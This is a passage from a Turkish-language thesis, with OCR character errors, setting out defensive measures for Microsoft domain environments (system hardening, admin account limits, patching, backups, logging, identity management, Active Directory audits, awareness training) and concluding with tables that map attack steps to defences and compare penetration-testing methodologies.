e Uzaktan ve etkilesimli oturum a¢ma ayarlar: giivenilir olarak yapilandirilmalidir.
e Denetim kayitlar: giivenilir olarak yapilandirilmalidir.
e Biitiinliik kontrolii saglayan mekanizmalar kullanilmalidir.
e Veri sizdirilmasini 6nleyen mekanizmalar kullanilmalidir.

e Desteklenen kriptografik kiitiiphaneler (SMB istemci ve sunucu bilegenlerinin paket

imzalar1) giivenilir olarak yapilandirilmalidir.
e UAC seviyesi ve ayarlar giivenilir olarak yapilandirilmahdir.

e Giivenlik duvar: etkinlegtirilmeli ve ayarlar1 giivenilir olarak yapilandirilmalidir.
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e Yerel hesap adlarina, adlandirilmig kanallara ve paylagimlara erigsim yetkilendirmesi

giivenilir olarak yapilandirilmalidir.
e Yonetimsel paylagimlar (C, ADMIN vb.) giivenilir olarak yapilandirilmahdir.
e Antivirlis giivenilir olarak yapilandirilmalidir.
e Son giincellemeler gerceklestirilmelidir.

e Yerel yerlesik kullanicilarin (Administrator ve Guest hesaplarinin) yeniden isim-

lendirilmesi giivenilir olarak yapilandirilmahdir. Gereksiz kullanicilar kaldirilmalhdir.

e Yerel bilgisayardaki Administrators grup iiyelikleri giivenilir olarak yapilandiril-

malidir.
e Etkilegimli oturum a¢ma ayarlar giivenilir olarak yapilandirilmalidir.
e BIOS giivenilir olarak yapilandirilmaldir.
e Disk sifreleme etkinlestirilmelidir.

e Standart kullanici hesaplarinin istemci bilgisayar tizerinde galigtirabilecekleri araglar

giivenilir olarak yapilandirilmalidir.
e Gereksiz programlar yiiklii olmamalidir.

o Gereksiz servisler devre digi birakilmali ve etkin kalmasi gereken servisler giivenilir

olarak yapilandirilmalidir.
e Proxy ayari ag iizerinden otomatik olarak alinmamalidir.
e Disk {izerinde gereksiz veriler bulunmamalidir.
e Gegici dizinler altindaki dosyalar caligtirilamamalidir.
Sikilagtirma iglemleri igin CIS, NIST veya Tiibitak tarafindan hazirlanan sikilagtirma
kilavuzlar: kullanilabilir veya kuruma 6zel kilavuzlar hazirlanabilir.

Bu baglikta ve 6nceki bagliklarda bahsi gecen ayarlar grup ilkeleri ile ayarlanabilecegi gibi
bazilarinin igletim sistemi kurulurken igerisinde olmasi da saglanabilir. Bu sebeple hazir-
lanan imajlar periyodik olarak gozden gecirilmeli ve kurum politikasina uygun sekilde

hazirlanmalidar.
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6.10 Kiritik Hesaplarin Kullanimi

Etki alanm sizma testlerinin ana hedefi Domain Admins veya Enterprise Admin grubu
iiyelerinden birisinin yetkisini elde etmektir. Bu sebeple bu grup iiyelerinin kullanimi
oldukc¢a simirhh olmalidir. Bu konu ile ilgili alinabilecek temel énlemler agagidaki gibi

siralanabilir.

e Bu gruplarin diyeleri sinirli sayida olmalidir.

e Bu grup iyelerini kullanan personelin giinliik iglerini halletmeleri igin standart

yetkilere sahip ikinci hesaplar: olmalidir.

e Yardim masas: personeline istemci bilgisayarlarda gerceklestirecekleri iglemleri igin

yetki devri gergeklestirilmelidir.

e Bu grup iiyelerinin aktiviteleri izlenmeli ve gerek goriildiigii durumlar icin alarmlar

olugturulmalidir.

e Son kullanici bilgisayarlarinda yetkili hesaplar ile (yardim masasi kullamcilarin

hesaplar: gibi) agilan oturumlardan sonra, bilgisayar yeniden baglatilmalidir.

6.11 Yama YOnetimi

Gerceklegtirilen saldirilarin énemli bir kismi zafiyetlerin istismar edilebilmesinden kay-
naklanir. Bu sebeple kurum igerisinde yama yonetiminin etkin bir gekilde gerceklegtir-
ilmesi gerekir [138]. Bu amagcla merkezi yama yonetimi ¢oziimlerinin kullanimi 6nem
arz etmektedir. Kurum politikasina gore oncelikle test ortamlarinda giincellegtirmeler
gerceklegtirilmeli, ardindan da gercek sistemler ardigil olarak giincellegtirilmelidir. Ku-
rum politikasinda zafiyet kritikligine gdre gecilecek yamalarin zamanlamas: ve ydntemi

belirtilmelidir.

6.12 Yedekleme

Kurumlarda gerceklegebilecek problemlerden &tiirti veri kaybi gerceklegebilir ve bu du-

rumda sistemin eski bir yedeginden geri doniilmesi gerekebilir. Bu sebeple kurumlarda
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yedekleme siirecine 6nem verilmelidir. Verileri sifreleyen fidye yazilimlarinin yayginlagtig

glinlimiizde yedeklemenin 6nemi daha da 6n plana cikmigtir.

Kurum yedekleme politikast olugturmalidir. Hangi sistemlerin, hangi yontemlerle, kimler
tarafindan, ne siklikla yedeklerinin alinacagi; bu yedeklerin hangi ortamda, ne kadar siire
ile depolanacagi; bu yedeklere hangi kisgilerin, hangi yontemlerle erigebilecegi; bu yedek-

lerin geri dondiirme senaryolari ile ilgili detaylar kurum politikasina gore belirlenmelidir.

Bunun yaninda canli sistemlerin de yedekli olarak caligmas: bilgi giivenliginin erigilebilir-

lik unsurunun vazgegilmezlerindendir.

6.13 Log Yo6netimi ve izleme

Giintimiizde her ne kadar siber saldirilardan korunma 6nlemi alinirsa alinsin, sifirinct giin
saldirilar1 veya daha farkli sebeplerden dolayi saldirilardan kaginmak imkansizlagabiliyor.
Bu sebeple saldirilar1 énlemenin yaninda saldirilar: tespit edebilmek de oldukca 6nem-
lidir. Bu nedenle kurumlarin bir politikaya uygun olarak kayit alma ve alarm olugturma
mekanizmasi olusturmasi gerekir [139]. Oncelikle hangi sistemlerin veya uygulamalarin
izlenmesi gerektigi belirlenmeli, hangi olaylarin kaydinin alinacag: ve bu olaylarin birbiri
ile nasil iligkilendirilecegi belirlenmelidir. Uzun zaman alan bu galigma ile bir saldir
sirasinda, saldiridan haberdar olunabilir. Alinan kayitlarin nasil alinacagi, saklanacagi,
kayitlara kimler tarafindan erigilebilecegi de dnem arz etmektedir. Belli periyotlar ile
raporlarin alinarak durumun goézden gecirilmesi de bir kurumun vazgegilmez giivenlik

kontrollerinden birisidir.

6.14 Kimlik Yonetimi ve Erisim Kontrolii

Kurumlarda ige baglama, igten ayrilma veya departman degigiklikleri gibi durumlar ile
siklikla karsilasilir. Bu durumlar karsisinda kimlik yonetimi ve erigim kontrolleri etkin
olarak igletilmelidir [140]. Ise yeni baglayan birisinin hesaplarinin otomatik olarak acil-
mas1 ve otomatik olarak (sadece ihtiyaci olacak gekilde yetkilere sahip) ilgili role sahip
olmasi kurumun verimliligini arttiracagy gibi bilgi giivenligini de arttiracaktir. Benzer
olarak igten ayrilan personelin de hesaplarinin otomatik olarak devre digi birakilmasi ve

gerekli kontrollerden sonra silinmesi de 6nemlidir. Aksi halde isten ayrilan personelin
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hesabi ile iglem yapilabilir ve iglem yapanin tespiti zorlagabilir. Isten ayrilma haricinde,
departman degisiklikleri durumunda da kullanicilarin sadece ihtiyaci olan yetkilere sahip
olacak sekilde yeni rollere sahip olmasi ve eski rollerinin kaldirilmas: da stirec icerisinde
yer almalidir. Ozellikle kritik sistemlere ait sistem yoneticileri isten ayrildiginda veya

departman degigtirdiklerinde parolalarin degistirilmesi biiylik 6nem arz etmektedir.

Kimlik yonetimi ve erigim kontrolii kullanici bazli degil grup bazh ve rol bazh yetki-

lendirme matrisleri olugturulmali ve periyodik olarak gozden gegirilmelidir.

6.15 Aktif Dizin Denetimleri

Istemci veya son kullamec: bilgisayarlarinda gerceklestirilen sikilagtirmalar haricinde Ak-
tif Dizin iizerinde de bir takim denetimler gerceklegtirilmelidir. Aktif Dizin iizerinde

gerceklestirilebilecek temel kontroller agagidaki gibi siralanabilir.

e Ortak kullanilan hesaplar incelenmelidir.
e Uzun siiredir oturum agmamig kullanicilar incelenmelidir.

e Parolasi sonlanmayan, parolasi uzun siiredir degigmemis veya parolasini degistire-

meyen kullanicilar incelenmelidir.
e Kullanim siiresi ge¢mis kullanici hesaplar: incelenmelidir.
° i@ten ayrilmig, boliim degigtirmis personele ait kullanici hesaplar: incelenmelidir.

e Kurum personeli olmayan (damgman gibi) kigilere ait kullanici hesaplar1 incelen-

melidir.
e Yeterli tanuma sahip olmayan servis hesaplar: incelenmelidir.

e Kritik gruplara (Enterprise Admins, Domain Admins, Oracle Yoneticileri, Ag Ekibi

vb.) iiye olan hesaplar incelenmelidir.

e Hic bir gruba iiye olmayan kullanici hesaplari, iiyesi olmayan gruplar, igerisinde

nesne bulunmayan organizasyonel birimler (OU) incelenmelidir.

e Isimlendirme standardina uymayan kullanici hesaplari, gruplar, bilgisayarlar gibi

nesneler incelenmelidir.
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6.16 Bilgi Giivenligi Farkindalig:

Bilgi giivenligi sadece sistem yoneticilerinin veya bilgi giivenligi ekiplerinin degil, {ist
yonetim dahil tiim kurum personelinin sorumlulugundadir. Bu alg ile yola ¢ikilmali ve bu
farkindalik kurum personeline verilmelidir [141]. Kurumdaki BT caliganlar1 kendilerini
giincel tutmali ve giincel tehditleri takip etmeli, kurum icerisinde farkindalik egitimleri
diizenlenmeli, periyodik olarak farkindaligi arttiracak sosyal miihendislik testleri yapil-
mali, mail veya afig gibi yontemler ile bilgi giivenliginin siirekli olarak hafizalarda yer
etmesi saglanmalidir. Bu caligmalarda parola giivenligine ayri bir énem verilmeli ve {ist

yonetim destegi kesinlikle alinmalhdir.



Bolum 7

Sonuc

Kurumsal ortamlardaki bilgisayarlarin merkezi yonetimi icin Microsoft tarafindan sunulan
Etki Alani, sistemlerin ve ortamin giivenligini saglarken bir taraftan da bu merkezin k&tii
ellere ge¢me riski kurumlar korkutmaktadir. Bu giiciin kot ellere hangi adimlar ile gece-
bilecegi ve bu giig ile neler yapilabilecegi sizma testleri sayesinde simiile edilebilmektedir.
Bu caligmada da etki alanina kargi gergeklegtirilebilecek saldirilar icin bir metodoloji
sunulmusg ve bu saldirilara kars: alinabilecek 6nlemler listelenmigtir. Calismada sunulan

10 saldir adimi (satirlar) ve 16 savunma adim (stitunlar) Tablo 7.1°de belirtildigi gibi

eglestirilebilir.

TaBLO 7.1: Etki Alam1 Sizma Testi Adimlar: ve Korunma Yontemleri

11234 6 |7 9 10|11 |12 |13 |14 | 15 | 16
1 [ X[ X X X
2 X X X X [ X | X | X
3 X X XX | X X X
4 X X X X X
5 X X X
6 X X [ X X
7 X X X
8 X X X X
9 X X X X
10 XX XX X X
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Yukaridaki tabloda yedekleme 6nlemi i¢in bir saldirt adimi belirtilmemigtir. Bunun sebebi

sizma testlerinde hedef sistemlere herhangi bir zarar verilmemesidir.

Bu tezde sunulan Microsoft etki alam sizma testi metodolojisi (Microsoft Domain En-
vironment Penetration Testing Metodology - MSDEPTM) ile benzer ¢aligmalarin (stan-
dart, kilavuz veya metodolojilerin) birbirlerine gore durumlart Tablo 7.2’de belirtildigi
gibi eglegtirilebilir.

TABLO 7.2: Tezde Sunulan Metodoloji (MSDEPTM) ile Benzer Caligmalarin

Kargilagtirilmasi
PTES CEH OSSTMM | OWASP-TG | ISSAF | MSDEPTM
Kurum Grup | Ec-Council | ISECOM OWASP OISSG | Sehir Universitesi
Acik Kaynakh Mi? + - + + +
Son Giincellenme Tarihi | 2014 2016 2010 2013 2006 2016
Adim / Baghk Adedi 7 5 6 10 9 10
Teknik SF + - + + +
Cergeve Genel Genel Genel Web Genel Microsoft
Onlem - + 4 i + +
Araclar + + - + + +

Tez kapsaminda sunulan metodolojiyi digerlerinden ayiran en énemli fark, Microsoft etki
alani sizma testleri 6zelinde hazirlanmig olmasi ve birbirinden farkli yontemler ile ana

hedefe ulagabilmeyi amaclamasidir.

Sonug olarak periyodik bir gekilde sizma testlerinin gerceklegtirilmesi ve giincel 6nlemlerin
incelenmesi giivenligi arttiracaktir. Ancak yiizde yiiz giivenlik diye bir durumun olmadigi
da goz 6nilinde bulundurulmalidir. Bu nedenle, kurum personellerinin kendilerini giincel

tutmasi ve giivenligin kurumdaki herkesin sorumlulugu oldugu unutulmamas: gerekir.
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